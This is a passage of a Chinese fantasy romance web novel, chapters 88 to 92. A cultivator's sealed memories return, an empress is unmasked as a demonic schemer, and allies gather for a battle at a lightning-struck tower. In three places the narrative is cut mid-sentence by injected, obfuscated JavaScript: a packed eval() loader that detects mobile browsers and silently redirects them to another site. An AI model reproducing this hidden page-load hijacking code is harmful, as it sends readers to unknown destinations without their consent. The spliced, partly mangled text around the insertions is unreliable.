柳逸直猛地从混沌中惊醒,被封存于识海深处的记忆滚滚如大潮,顷刻间便将他淹没了,胸中忽然泛起了一阵密密麻麻的疼。 意识回笼,他这才发现怀中有什么软软的、热热的东西,低头一看,只见到一个毛茸茸的发顶,绸缎般的蓝色发丝铺满了视野。 鸡鸣鸟语声传入耳中,该是天刚亮的时候,混乱的一夜总算有惊无险地熬过去了。 怀里的姑娘该是累极了,经历了一场激烈的战斗,又为了续接他的胳膊耗费了大量元气,睡得很沉,柳逸直能感受到她温热的呼吸扑在胸口,心口如针扎般的疼痛渐渐消弭。 左臂已经没那么疼了,昨日被岚孟当做线来用的蔷薇藤丝已经隐入了皮肉之中,只留一圈像是刺青一般的藤蔓缠绕在断口处。他试着动了动,虽然还是没法使力,被接上的断臂也呈现不太正常的惨白,但指尖已经有了知觉,他能感受到皮肤之下血液在血管中汩汩流淌。 余光忽然瞥到了她细白手腕上恐怖的血洞和淤青,他的心颤了一颤,用完好无损的右手将她的手抬了起来,放在唇边,伸出舌头舔去血迹,才注入灵气,看着青紫痕迹慢慢消失。 这一举动将岚孟折腾醒了,她毫无所觉,揉着眼睛从柳逸直身上爬了起来,检查了一下他的胳膊,点头道:“恢复得不错,不出一旬就能正常活动了,不过要想运转灵力的话还得花上几个月时间。” 抽身欲退之际,骨节分明的手忽然抓住了她的,攥得很紧,却不会让她感觉到疼,于是岚孟抬起眼,直视那双琥珀色眼瞳。 柳逸直舔了舔干裂的嘴唇,说出了和尧玦所期望的完全相反的话语。 “你想做什么,我都可以帮你。” “无论是手刃仇敌,还是复活尧玦。” 89. 心所欲 “你……” “什么意思?” 岚孟的眼睛瞪得极大,大脑变得空白一片,耳边好似有无数只蜜蜂在嗡嗡作响,脸上的表情由疑惑转为震惊,最后凝固为一种无法言喻的惊惶。 “难道不是吗?”柳逸直轻声反问,“你费尽心机拿到了‘燧明之书’,所求的不就是复活尧玦的方法吗?至于苍生泪、海鰌骨,还有引魂灯,恐怕就是需要用到的材料了吧?考进丹灵卫,也不是为了劳什子掌炬之位,真正的目的,是暾云炬吧?我猜的可对?” 她很快反应过来,惊惶转变为狠厉,手腕一翻,反客为主,将他的右手反按在脑侧,同时另一手五指曲起扣住了他的脖颈,一双蓝瞳好似有烈火焚烧,炙烤着柳逸直的身与心。 “既然知道了,你自该把所有秘密都咽回肚子里,最好这辈子都别让人知道。竟敢舞到我前面来?我救你一条胳膊,不过是一报还一报,当真以为我不敢杀你吗?” 柳逸直能感受到她的指甲深深陷进了脖颈的皮肉里,温热黏腻的液体缓缓淌了下来,微微发痒,若有似无的血腥气取代了清淡花香,他从那双冰蓝眼眸之中感受到了浓郁的杀气。 她起了杀心。 但没有直接动手。 为什么? 柳逸直勾唇一笑,“你舍不得杀我。” 不等她发怒,柳逸直继续道:“你如何确定我有没有把这些辛秘写在某个地方,若是身死,便会自动传递至山到源?更何况我还有利用价值,还得指望我制作引魂灯呢,现在若是杀了我,岂不是竹篮打水一场空?” 岚孟冷笑:“你又怎知我没有留后手?太过自负,看不见隐藏在身后的危险,可不是什么好事。” 柳逸直既然捅破了窗户纸,就已经想好了对策,不会让事情发展到你死我亡的地步。他紧紧盯着她的眼睛,略显苍白的唇勾起一个蛊惑的笑容,轻缓的话语里带着引诱的味道,搅得岚孟心神不宁。 “你就不好奇我是怎么知道的吗?我身上有尧玦亲手设下的记忆封禁咒,你不妨猜猜那段记忆的内容是什么。” 他支起上半身,一步步凑近身前僵硬在原地的姑娘,即便脖子上鲜血直流,尖锐的刺痛一阵接着一阵,如浪潮般冲刷着他的神经,柳逸直也没有退缩,将唇瓣挨近她的耳侧,低声轻语:“或者再具体一点,尧玦是怎么死的,青丘的山洞里那个附在宣措身上的黑雾是谁,青丘狐族血祭的真相……这些,我都可以告诉你。” “你知道的,不管是你还是楚乐,都是后来才赶至青丘的,知晓事情全貌的人,只有我。” 他怎么知道当时楚乐也在青丘?难不成记忆真的解封了? 岚孟狐疑地松开扣住他脖颈的手,转而覆上他的胸膛,掌下紧实的肌肉微微起伏着,心跳的频率隔着胸腔传至她的掌心。 并没有发现记忆封禁术的痕迹,不过她并不擅长此道,也许是她技术不到家的缘故。 这世间就没有天上掉馅饼的好事。岚孟问:“你想要什么?” 柳逸直低低地笑,声音沙哑得不像话,不知道是因为疼的,还是其他的什么,他说:“你到底是真不知道,还是装作不知道?” 四周一下子变得静悄悄的,只有略微急促的心跳声传至耳中,男子灼热的呼吸喷洒到了皮肤上,令难以遏制地冒起了一层细密的小疙瘩,没有察觉的时候还未感觉有何不妥,但有些东西你一旦注意到,就再也无法将其忽视。 凝望着那双闪着幽光的琥珀色眼瞳,里面有太多说不清、道不明,却心照不宣的情愫,岚孟一下子就明白了。 按在柳逸直胸膛的手一寸寸往上滑,轻轻抚过修长的脖颈,指甲挠破的狰狞伤口也逐渐复原,最终,芊芊玉指拂过脸颊,虚晃一招勾起了他的下巴,也勾起了他深埋心底的欲望。 “你想要我?” 柳逸直深深忘记那双波澜不惊的眸子,喉结上下滚动,“你说呢?” 女子吐气如兰,缓缓凑近,柳逸直呼吸一滞,但左手有伤,右手被制住,他被女子强压着,动弹不得,背后便是被蔷薇藤覆盖的柴堆,他已无法再退。 又或者,他不想退。 温热柔软的唇瓣轻轻点在唇角,她顿了一下,看着近在咫尺的脸庞,原本冷硬的神情也因光线的昏暗而透露出几分柔和,他喉结微动,明知故问道:“你这是做什么?” 她没有说话,只轻飘飘瞥了他一眼,然后别开了目光,额头贴上了他的,灵府被轻而易举地叩开。柳逸直知道她想要什么,没有抵抗,任由她的神识探入自己的记忆深处,牵引着她回到十八年前那个残阳如血的傍晚。 狐王宣措已经失去了理智,敌我不分地大开杀戒,数以千计的魔修包围了青丘,尧玦到来后,和易骞联手击破了用来血祭的禁阵,部分实力较强的狐妖也加入了战场,整个青丘山飞沙走石,万钧雷霆引得天摇地动,到处是刀光剑影,血光冲天,人间地狱不过如此。 尧玦揽抱着六岁的柳逸直冲出重围,将他带到了英水河畔,将血祭一事和盘托出。 原来,附身于宣措身上的黑雾就是朝圣道的圣主,他借用宣措的身份抓来了易骞,从他那里得到了阵法,想要用青丘狐族全族的性命,获得能够颠覆九州的无上法力。 “圣主来头不小,应当是魔气化身,是上古时期苟活至今的存在,必须附身他人才能在世间行走。日后若是撞见他,千万不能硬碰硬,要想除掉他,只能瓮中捉鳖……” 尧玦的面孔逐渐变得模糊,声音也越来越稀碎,岚孟努力朝他张开了手臂,却怎么也抓不住他的一片衣角,天空与大地顷刻间便变得四分五裂,柳逸直的记忆止步于此,任岚孟再怎么努力,也没有听到尧玦所说的最后一句话。 “呼……” 岚孟猛地将柳逸直一把推开,同时,覆盖在木柴上的蔷薇藤一寸寸收缩回了她的手腕上,明亮的光线斜射进来,昏暗之下的暧昧、躁动均已消失不见。 柳逸直的背径直撞上了柴堆,连带着左臂也被长出一截的木柴撞到,疼得他倒吸一口冷气。 他抬头看去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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听百姓们的议论,逐月塔被雷劈了,死了很多人,展恪进宫面圣领罪,被怒不可遏的皇后砍了头,展主事的尸体被人像狗一样扔出了宫门,若不是有人给展家弟弟报了信,让他来收尸,这个被蒙在鼓里的少年指不定还在被窝里做着兄友弟恭的美梦呢。 你说皇帝?皇帝头风病犯了,没来上朝。 你说皇后深明大义,肯定不会不分青红皂白就砍人脑袋?那你就说对了,文皇后已经被废黜了,现在的皇后就是昔日的凝贵妃。为她建造的逐月塔被雷劈了,你说她能不生气么?自然要杀几个人泄愤。 你说逐月塔怎么办?还能怎么办?凉拌咯!据说国师一大早就赶去栖凰山了,也不知道谁又要遭殃了…… 岚孟悄悄退出了人群。 逐月塔被雷劈了?不会是夏澜熹搞的事情吧?但她也不像是沉不住气的性子,自该知道没有把握摧毁星垣阵之前,贸然出手只会是打草惊蛇。 直到现在鸣珂和言如期也没有消息传回来,只可能是出事了。皇宫也乱糟糟的,不知他们是逃出来了还是被困在皇宫里。 岚孟朝皇宫的方向看了一眼,即使是明媚的春光之下,那座金碧辉煌的宫殿也透露着一股阴森森的气息,正一步步走向腐朽与毁灭。 90. 许皇后 岚孟转道去了鸿胪寺一趟,得知姜旻已经不知所踪,使团也被扣押在了驿馆。说明姜旻已经发出了山到源的求援令,其他人来支援也只是时间问题。 她已经看到了霜笛传来的消息,只恨他为什么不能早点传讯,若知晓朝圣道的圣主附身在国师身上,她如何会孤身一人闯进国师府?怎么说也得多带点防身的武器,最好能拉几个垫背的吧?不过若真是圣主,为什么她一脚就能将人踢飞了?后来那些魔修来围攻她的时候,圣主也没有醒过来,逃走时他也并未现身阻拦,莫非是因为崖昱只是个凡人,圣主附身其上,也会受到崖昱身体状况的影响? 正当岚孟百思不得其解之时,甲胄撞击声和厉声斥骂从远处传来,她站着没动,当羽林卫将一干百姓拦到街边时,她也被人群包围,提着菜篮子昂着头大骂挤到自己跟前的男人,活像个一点就炸的悍妇。 羽林卫冲进驿馆,将使团里为首的官员们抓了出来,用麻绳捆住他们的双手,并排按跪在门前阶下。不多时,马蹄笃笃声由远及近,两架马车缓缓驶来,前一辆坐着满脸不可一世的凝贵妃,哦不,皇后,后一辆则是玄铁打造的囚车,关着一男一女,是鸣珂和言如期。 鸣珂维持着人形,只不过背后有两扇巨大玄青翅膀,其中一扇鲜血淋漓,已经是被折断了,她半跪着,怀里抱着不知是死是活的言如期,两人俱是满身污浊血迹,可想而知是经历了怎样激烈残酷的战斗。 岚孟心尖一颤,手指不可遏制地抖了抖。言如期生机无多,已经凶多吉少。 马车在驿馆门口停了下来,许凝踩着宦官的脊背下了车。她今日并没有穿昔日那些轻薄暴露的宫裳,而是一身修身劲装,腰间挂着一柄朴素短剑。 岚孟认出来了——是她丢在国师府的参剑。 许凝施施然走到了除姜旻之外官职最高的礼部侍郎之前,轻而易举地拎着他脖子前面的衣襟将他甩到了囚车上,“砰”地一声,礼部侍郎撞到囚车上又摔下来,猛地吐出一口血来。 在场所有人都噤若寒蝉,纷纷屏住了呼吸,唯恐自己的喘息声和心跳声惹怒了那个只手遮天又阴晴不定的女人,令滔天祸事降临到自己头上。 礼部尚书被血呛到,咳了好几声才缓了过来,一眼不眨地仰头盯着许凝,一双眼睛简直要喷火,即便是受了内伤也不影响他中气十足地痛斥:“你这毒妇,竟敢如此对待我们,就不怕姜国大军压境吗?” 许凝“呵”了一声,一点也不带怕的,“笑话,是你们姜国无礼在先!竟敢让此等妖物假扮吐金鸟送进皇宫,来谋害陛下,就连先皇后和姜妃都惨遭他们的毒手!我尚没有治你们的罪,你们倒是恶人先告状了?姜国太子呢?怎么不出来见我!莫不是畏罪潜逃了吧!” 百姓们议论纷纷。 “什么?那个长翅膀的妖女就是吐金鸟?” “文皇后不会有什么不测吧……” “放屁!”斯文如礼部侍郎,也忍不住爆了一句粗口,他目眦欲裂,唾沫星子飞到了许凝的裙摆上,“太子殿下掉进你们太学的荷花池里,到现在都没有捞上来,你们不派人去营救也就罢了,还把我们抓了起来,天理何在!” “这倒是成了我的不是了。”许凝捂嘴笑了起来,“太学的先生们可是亲眼见到是他姜旻自己跳进去的,焉知他不是借机畏罪潜逃!” 押着其他官员的羽林卫配合地手上用力,“快说!姜太子去哪里了!”官员们叫苦连连。 姜旻和鸣珂两人的合作只有礼部侍郎知晓,其他人皆一头雾水,更不知道姜旻落水之后去了哪里,即便被人将刀架在脖子上,他们也咬紧了牙关,不肯多说一句话。 礼部侍郎站了起来,气急败坏地朝许凝扑了过去,大敌当前,哪里顾得上君子风范? “你个老虔婆!还不快放了他们!” 许凝侧身一闪,礼部侍郎扑到地上摔了个狗啃泥,她伸腿踩上他的背,脚下用力一碾,礼部侍郎便疼得呻吟起来,百姓们安静如鸡,再也不敢多说一句话。 这时,一声轻笑突兀地响了起来,许凝看了过去,是鸣珂。即使是身陷囹圄,她也没有自怨自艾,脸上永远是那副高高在上的表情,仿佛世间没有任何事情能令她屈服。 “侍郎大人,您骂错了,这家伙可不是什么女人,他啊,原本是个男人,为了勾引楚国的皇帝,得到他身上的龙阳之气,这才把自己弄成了女人,夜夜在床上抬着屁股和皇帝交欢……呃!” 鸣珂闷哼一声,是许凝扬手将一根铁针扎进了她的肩胛骨,鲜血从她口中溢出,顺着脖颈淌进了衣襟之中。昨日虽然逃出了皇宫,但两人身上都带着伤,尚未走远便又被抓住了,现在鸣珂恨不得将许凝生吞活剥,自然不怵她这点不痛不痒的折磨。 “怎么?被我说中了,恼羞成怒了?”鸣珂笑起来,“你这是不打自招啊。” 众人大气也不敢出,但一道道赤裸裸的目光凝聚在许凝身上,好像已经扒掉了她身上的衣裳,凝视着她赤裸的□□,掰开她的双腿仔细观察她究竟是男是女…… “砰——” 蓬勃的魔气从许凝身上迸发开来,众人俱被掀翻在地,堆放在墙根的水缸应声而碎,菜篮子里的老母鸡刚下的鸡蛋也碎成了渣渣,蛋液从缝隙中淌了下来,蛋腥味和尿骚味混杂在一起,却没人敢说半个字。 这时,楚国的百姓们才意识到一件事情,皇宫里有妖物,不止是那个被关在囚车里的长着翅膀的“吐金鸟”,还有早已盘踞宫中,吸食着皇帝血肉的美艳妃子。 美艳妃子乘着马车扬长而去, 岚孟缓缓从一干百姓之中站了起来,目光追随着渐渐走远的囚车,只看见满身血污却挺直了腰杆的鸣珂,和她被折断的玄青羽翼。 她就说凝贵妃身上的气息怎么那么怪异呢。 原来“她”是许渭啊。 - 又回到那个柴房,岚孟一把扯掉了头巾,随手将菜篮子搁到了柴垛上,朝柳逸直道:“国师是圣主,许凝是许渭,鸣珂和言如期也被抓了,他们现在正在往逐月塔走呢,恐怕要直接抽取龙气了。” “什么?”柳逸直听得丈二摸不着头脑,前者还可以理解,毕竟这世上叫“圣主”的也就只有朝圣道那个神龙见头不见尾的首领了,而且尧玦也说明了圣主只能依附他人存活这一点,这也是他们没有察觉出国师身上怪异之处的原因,因为崖昱本人,确实是个货真价实的凡人。 但是,“许凝就是许渭”是什么意思?许渭不是被放逐在南海荒岛了吗?还是他亲自送他进去,岛上的结界就算是知命境修士来了也不一定能破开,许渭一身修为已被雷刑打散,他到底是怎么逃出来的?还摇身一变成了凝贵妃? 柳逸直立即反应了过来,是圣主救他出来的,也只有这般人物,才能在不惊动山主的情况下把人捞出来。许渭早就和朝圣道勾结,如今“弃暗投明”也不难理解。 他见岚孟一股脑将芥子袋里的八宝盒都拿了出来,在里面翻找了一通,似乎都不满意,然后将盒子收了回去,只取出了几个瓶瓶罐罐别在腰间。只见她手指往虚空中一划,空气便破开了一个口子,像是连通着另外一个世界,可以窥见里面高大的山、碧绿的树和开满了五颜六色野花的草地。 她将手伸进去,摸索片刻,最后取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221559|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了一株小臂长、拇指粗细的小树,像是刚从土里拔出来,树根上还带着湿润的泥土。 她叹了口气,“本来还想着要多养一养的。”虽然姜旻已经发出了求援令,但已经过去大半日了,也不知道援兵什么时候能来,还是得多做些准备。 她抬眸,撞进了柳逸直疑惑的目光,“你忘了?是轮回蝉元君给我的报酬。” 柳逸直想起了那只背着扶桑枝条闯进客栈房间的傻乎乎的金乌,不仅如此,他也想起了白皙的肩背和狰狞的伤口。 他掩唇咳了一声,问道:“你背上的伤,可好了?”霜笛让他抓来的药,也不知她用完了没有。 岚孟在柳逸直面前已没什么秘密可言,她道:“是我排斥尧玦的妖丹才造成的,我若是主动融合,自然没什么问题。” 那就是还没有痊愈的意思了。柳逸直站了起来,岚孟不在的时候,他已经换了身干净衣裳,也调息休整过,只要不大幅度摆动左手,就不会有什么大问题。大战在即,他总不能当缩头乌龟。 两人挑着偏僻的街巷走,避开人群,直奔栖凰山。 站在参天古树上,可以从正面望见逐月塔的情景。整座塔被雷劈得焦黑,塔尖被劈掉了一半,原本笔直冲天的塔体变得倾斜,似乎只要稍微用力一推,便会跌入水中,激起无数浪花。 工匠们早已跑得没影了,逐月塔四周已经不剩什么人,许凝和国师都不在,应当是进塔里去了,只有关着鸣珂二人的囚车静静停在塔前,没有任何人看守,许凝自然是算准了他们不会丢在那二人不管,敞开大门等着他们自投罗网呢。 岚孟自然不会那么傻,白白进去送人头,更何况柳逸直断了胳膊,顶不上什么大用,她也负了伤,两个人加起来恐怕还没有入了魔的许渭一人能打。 在树上蹲守不久,夏澜熹就找了上来,她亦是一脸疲态,仿佛经历了一夜酣战的模样。 “夏首座这边也出事了?”柳逸直讶异道。 夏澜熹一屁股坐在了树干上,往日的温柔端庄已经不复存在,她摆了摆手道:“别提了,被雷劈了。” “哦,被雷劈了啊。”柳逸直顿悟,“什么?被雷劈了?!” “对着那妖塔劈的,我离得近,就被波及到了。”夏澜熹解释道。 “所以,在塔上干活的工匠也是被雷劈死的?”在来的路上,柳逸直就从岚孟口中得知了逐月塔被雷劈、死了很多工匠,展恪也被砍了头的消息。 夏澜熹摇头:“那道雷来得邪乎,只攻击修行之人,工匠们毫发无伤,倒是几个朝圣道的魔修被劈死了。” 岚孟偏头看了夏澜熹一眼,却没见到贺舟晏,于是问道:“那家伙呢?被劈死了?” 夏澜熹冷哼一声,低头看了看脚下。 贺舟晏从她脚下的影子里露出半个头,幽怨地瞪着岚孟,冷冷道:“咒我呢,你就这么盼着我死?” 夏澜熹抓着他的头发将人拽了出来,一把甩到了树干上,贺舟晏“哎哟”一声,连忙手脚并用抱住树干,才没有让自己掉下大树摔死。 岚孟道:“没死就好,你去把鸣珂和言如期救出来,我怕言如期死在那。” 贺舟晏瞪她:“你怎么不去?” “我又不是暗系,哪有遁入阴影的本事?还是你上才最为稳妥。” “你又不是不知道我是从朝圣道叛逃出来!叛徒是什么你懂不懂!是看见了就得抽刀出鞘清理门户的那种!你还让我去送死?闫扶音你到底安的什么心?要去你自己去!” 柳逸直打断了他们的争吵,将手放在唇边比出嘘声的姿势。 “来人了。” 91. 骷髅头 只见一支轻骑从树林中奔来,马匹尚未站稳,那人便从马上飞了下来,与此同时,已经恢复了男人模样的许渭握着崖昱的胳膊拽着他走出了逐月塔,后者挣脱了许渭的钳制,气鼓鼓地站到了边上。 羽林卫大将军厉本单膝跪地,恭敬地朝许渭禀告。 “仙长,属下已经去搜查过了,柳家酒坊的几个主子昨日就跑了,剩下的都是些不顶用的下人。还有,发现了一个从皇宫通往外界的通道,但是路上没有新鲜脚印,皇后母女和姜妃应该不是从密道逃走的。” 靠在囚车栏杆上的鸣珂抬眼轻轻瞥了厉本一眼,心道当然不是从密道走的,柳师兄给了传送符,她们早就从皇宫逃走了,哪能站着不动让人抓啊? 她又轻轻闭上了眼睛。 许渭暗骂一声该死,挥了挥手,便让厉本回去了。他这才望向背对着他站在湖边的崖昱,阴沉着脸道:“主上能选用你的身体,是你的荣幸,别不知好歹。” 崖昱气得踢了旁边的石头一脚,不但没把石头踢翻,反倒是把脚踢得生疼,他抱着脚单腿蹦了好几圈,才跌跌撞撞跳到一旁的木头上坐下,动作幅度很大地朝许渭吐了一口唾沫,指着许渭的鼻子怒骂道:“什么狗屁主上!上老子的身做那些伤天害理的事情,还指望老子对你们感恩戴德?做你的春秋大梦去吧!信不信老子一头在这撞死,让你那个主上无只枝可依,就地灰飞烟灭!” 许渭唇边勾起一抹阴森森的笑容,“那你去死啊,你等你死了,主上就可以把这副契合完美的身躯占为己有了,也不必养着你的魂魄,这样才算是皆大欢喜!” 崖昱顿时吓得捂住了自己的脖子,生怕眼前这个心狠手辣的家伙一言不合就杀了自己,为他的主人抢夺身体。 脑中灵光一闪,他反应过来,一拍手掌道:“我知道了!你骗不了我!若是可以杀人夺尸,你们为何早不动手?肯定是尸体毫无用处,所以才留着我的性命!” 崖昱仰头大笑起来,“什么狗屁主上!就一鸠占鹊巢的孬种!来啊,上你爷爷的身啊!怂货!” 然而话音刚落,崖昱便看见一缕缕黑气从土里冒了出来,凝聚成一个骷髅头的模样,直晃晃朝他飘来,“娘耶!”崖昱吓得一个不稳,身子往后跌去,结结实实栽了个跟头,半个头都陷进了湖边湿润的泥土里。 他根本没功夫管脑袋上深深陷进发髻里的土泥,双腿乱七八糟地一蹬,就将自己翻了过来,撒开腿跑到了逐月塔边上,战战兢兢地躲在塔基后面,只露出一双眼睛瞪着悬浮在空中的骷髅头。 骷髅头咧开嘴笑了,笑声嘶哑如破旧风箱,骷髅头忽而散作黑雾,转而凝聚成实体,化作一个穿着黑袍的男人。 兜帽之下是一张枯瘦的脸,沟壑纵横,一双猩红瞳孔里闪着精光,声音如破锣般难听。 “许舵主,就抓到两个人?” 许渭依旧板着脸:“你没有眼睛,不会自己看?” 绮罗衣“嗬嗬”地笑。 “你我都是第二次合作了,许舵主怎的还是这般不近人情?莫非是对本座这个护法有什么不满?” 绮罗衣便是当年代表朝圣道和许渭联手埋伏尧玦的人,是朝圣道唯一的护法,他有知命境修为,是除了圣主之外修为最高之人。 人在屋檐下,不得不低头。虽然许渭心中充满了愤慨与不平,但技不如人,不想死,就只能弯腰低头,伏低做小。他软和了神色,朝护法拱手道:“属下就是这般性子,还请护法勿怪。” 绮罗衣摆了摆手,笑道:“许舵主可是我朝圣道一员悍将,本座惜才还来不及,又怎么会怪罪于你?” “都准备好了?”他主动揭过了这一茬。 “是,虽然逐月塔有损坏之处,但并不影响启动阵法,就等着圣主降临了。只不过,岚孟几人尚未现身,属下害怕他们会坏了圣主大计。” 绮罗衣双手背在身后,眯起眼睛朝山上看,他略微勾了勾唇,颊边枯干的皮肤堆在一起,像是一叠陈年老树皮。 “是有几只老鼠,不过乳臭未干,不足为惧,许舵主放宽心就是。” 许渭低头称是。 闭着眼睛偷听他们说话的鸣珂立即睁开了眼睛,朝着绮罗衣目光的方向看去,然而只见大片大片的林海松涛,看不见任何人影。她收拢胳膊,将言如期抱得更紧,心里安慰自己,没事的没事的,一定会得救的。 另一边,古树上的四人都被那一道阴骘的目光激起了一丝冷汗。 柳逸直忍不住抚了抚左胳膊,心想若是真的和那老者对上,别说保不保得住胳膊了,能不能活下来才是最大的问题。 援兵为何迟迟不到? 岚孟瞥见了他的小动作,抿着唇没有说话。 贺舟晏斜靠在树上,嘴里叼着一根不知从何而来的草叶,抖着腿没个正形,他道:“反正你们也打不过那老东西,还不如一走了之。归根究底这是凡人和朝圣道的事情,你们想管是没问题,但现在呢?惹一身腥了吧?至于你们的同门,只能算他们倒霉,你们救是情分,不救是本分。毕竟人都是趋利避害的东西,为了救别人把自己的命给搭上,那就是蠢了,他们也不会怪你们的。等他们下了黄泉,你们就多买点纸钱,头七的时候烧个几箩筐,逢年过节再……哎哟喂!” 是夏澜熹一脚踢在了贺舟晏的屁股上,他差点因此摔了下去,手忙脚乱地在树干上趴好,揉着被踢疼的屁股委屈道:“你大爷的,我说错什么了我……” “情况确实不容乐观。”柳逸直皱眉道。 “怎么就不容乐观了?”有人问道。 “这还用说……”柳逸直忽然意识到这个声音不属于他们三个中的任何一人,他猛地回头,看见了一张俊美脸庞,他惊呼道:“洛山?” 来者正是洛山,他穿着一身道袍,头戴偃月冠,手里还有一柄拂尘,不难看出他现在扮演的身份是个道士。 洛山挤到柳逸直身边,刚好擦过他左臂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227786|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,柳逸直吃痛地“嘶”了一声,洛山讶异地抚上他的胳膊,惊奇道:“怎么一阵子不见,你这缺胳膊断腿的,是闹哪样?” 柳逸直撇开他的手,皱眉道:“别动手动脚的。” 洛山啧啧称奇,“真是孩子大了不服管教了。”他冲对面树干上的夏澜熹点了点头,至于贺舟晏,虽然有点眼熟,但不认识,不重要,掠过。然后把头探过柳逸直的背后,看向树干那头的岚孟,“你叫,岚孟是吧?我少时也曾见过你蹲在尧玦那棵枫树上。” 岚孟精神一振,幽幽看了柳逸直一眼,其中怨怼显而易见。 柳逸直连忙摆手解释:“我可什么都没说。” 洛山笑道:“确实不是小柳儿告密,是风令尹告诉我的。” “师傅?他在哪?”柳逸直追问道。 “刚从九幽出来,已经回宗门了。” 夏澜熹抓住了关键,她看向洛山,问道:“他竟是去了九幽?到底发生了何事?” 柳逸直这才知道为何一直联系不上他那个不靠谱的师傅了,原来是跑九幽去了,只不过洛山并没有心思展开细说,现如今大火也已经烧到了眉毛,情况并不允许他多言。 “别讨论这些有的没的了,到底出了何事?” 于是柳逸直便将皇宫、逐月塔、国师和许渭的事情简单解释了一遍。 “阵法图纸呢?” 柳逸直从怀里抽出两张阵法图,一张是逐月塔底的星垣阵,另一张便是他画的破解阵法。 洛山仔细查看了一番,从袖中抽出炭笔在图纸上改了几笔,再扔进柳逸直怀里,站起来拍了拍手掌,道:“你们就按这个去部署,我来拖延时间,绝不能让圣主降临在那凡人身上。” 话音刚落,还不等柳逸直有所反应,洛山的身影已经原地消失。 贺舟晏“呸”地一声吐出口中野草,嗤笑道:“你们这群人当真是一个比一个莽撞。” 夏澜熹瞪他一眼,斥道:“要你多话,起来!干活了!” 贺舟晏慢腾腾地爬了起来,满腹的怨气化作一句怒骂:“真是老子欠你们的。” 四个脑袋凑到了一起,柳逸直根据洛山的修改,重新做了部署,给每个人都分发了他早就准备好的阵旗和方曜石,然后便各自散开,去往约定好的方位了。 离开之前,柳逸直抓住了岚孟的手,姑娘扭头一看,见柳逸直郑重地将一枚刻了符咒的玉牌塞进了她手心,正色道:“万事小心。” 岚孟皱眉:“这话你已说了第二次了。”虽然脸上是一副不耐烦的神情,但她还是好好将玉牌收进了怀里,然后抬起左手,腕上蔷薇藤抽条开花,她摘了一朵白色蔷薇按进他手心里,拧眉想了想,又择了一朵塞他手里,什么话也没说,径直转身离开。 柳逸直怔愣地抬着胳膊,看看她逐渐走远的倩影,再看看手里两朵开得正盛的蔷薇花,喜悦如湖水般淹没他的心脏。 他想,她肯定也喜欢他。 92. 列缺鞭 “许令尹,好久不见!真没想到会在这里看见你!” 熟悉的腔调让许渭心中警铃大作,五指往空中一抓,两根铁针顿时出现在掌心,阴冷的目光看向从湖对岸踏水而来的男子,他冷冷道:“是好久不见了。” 洛山行至岸边,施施然提步踏上松软的泥土,姿态从容,飘飘欲仙,他抖了抖拂尘,溅落至袍角的水便一滴跟着一滴落入了湖中。 鸣珂见到他来,嘴巴一瘪,露出一个快哭了的表情,嚎道:“洛山师兄!你快救救言如期,他快要死了呜呜呜……” 洛山朝她抬了抬手,“稍安勿躁,稍安勿躁,且待我先和许令尹叙叙旧。” 他笑着朝许渭走去,完全视一旁的绮罗衣于无物,这让一人之下万人之上的护法大人很是生气,他五指曲起,一团浓郁的魔气在他的掌心凝聚,用力一挥,魔气便直直飞向洛山。 魔气看着轻,实则重如铁球,砸到人身上不死也得残,只见洛山优雅地抬起拂尘一挥,四两拨千斤,魔气球被带着调转了一个方向,径直落入桐泉湖之中。 “砰——” 一举掀起千层浪,巨大的水花朝着逐月塔重重灌下,水声之大,好似千军万马奔腾而过,逐月塔发出了“吱嘎吱嘎”的呻吟,似乎已经撑到了极限。 绮罗衣暗道不好,立即凝聚魔气稳固塔身,洛山抓住了他施法时露出的破绽,伸出两根指头,挥臂朝他一指,一柄似虚非虚、似实非实的权杖破开虚空,重重地朝着绮罗衣的脊梁砍下。 暾云炬! 绮罗衣立即化作黑雾散开,暾云炬重重落地,只将他那黑不溜秋的衣袍钉在了地上。 而绮罗衣的身体已经在树林里重新凝聚了身躯,他啐了一口,毫不吝啬夸赞道:“不愧是九州第一神器暾云炬。” 只见一缕明黄火焰从他背后攀上了他的右肩,好似一条火龙探出了头,一口咬住他的肩膀,在他的身上印下神龙的图腾。 洛山朝他拱了拱手,谦虚道:“过奖过奖。” 暾云炬可以在一定程度上放大使用者的修为,如今洛山和绮罗衣不相上下,并且暾云炬专克魔气,绮罗衣自然不是对手。 不过他可不是空手来的。只见绮罗衣敞开胸怀,一只只魔气凝成的猛虎从他干瘦的肋排间跳了出来,个个眼瞳猩红,呲着牙,张着血盆大口,虎啸声响彻云霄,惊起无数飞鸟,嘴角流下的一串串涎水滴落到草木沙石上,一缕缕黑烟冒了起来,那魔虎的口水竟有剧毒。 “孩儿们,去陪洛掌炬玩玩!” 绮罗衣一声令下,数只猛虎一齐朝洛山攻去。 